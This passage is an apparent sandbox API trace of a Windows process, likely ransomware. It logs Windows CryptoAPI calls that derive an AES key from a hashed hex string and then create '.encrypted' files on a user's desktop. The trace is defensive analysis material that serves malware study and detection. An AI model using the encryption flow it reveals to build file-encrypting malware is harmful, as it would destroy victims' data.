lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.099] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.100] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.100] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.100] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.100] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.102] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.102] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.102] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.102] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.102] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.102] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.102] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.102] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1720) returned 1 [0023.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.102] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x6b8, lpOverlapped=0x0) returned 1 [0023.102] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x6b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1720) returned 1 [0023.104] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.104] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.104] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.104] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.104] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.104] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.104] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.104] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.137] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.137] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.137] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.137] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.137] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.137] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.137] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.137] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.137] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.138] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.138] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.138] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.138] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.138] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.138] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.139] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.139] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.139] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0023.139] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.139] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.139] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.139] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.139] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.139] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.139] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.139] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.139] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.139] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.139] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.139] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.139] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0023.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b8a0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0023.141] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0023.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b570, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0023.141] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.142] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f417b140, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0023.142] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0023.142] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b300, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.143] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.143] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.143] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.143] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.143] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.144] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.144] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.144] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.144] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.144] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.144] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.144] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.145] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.213] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 1 [0023.213] TranslateMessage (lpMsg=0xe8f3dfee40) returned 0 [0023.213] DispatchMessageW (lpMsg=0xe8f3dfee40) returned 0x0 [0023.213] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfe470) returned 1 [0023.280] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0023.280] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0023.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.281] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.281] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\n0ie6v_g.encrypted.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.281] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.281] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.281] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.281] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.283] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.283] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x3178, lpOverlapped=0x0) returned 1 [0023.283] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.285] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.286] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.286] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: 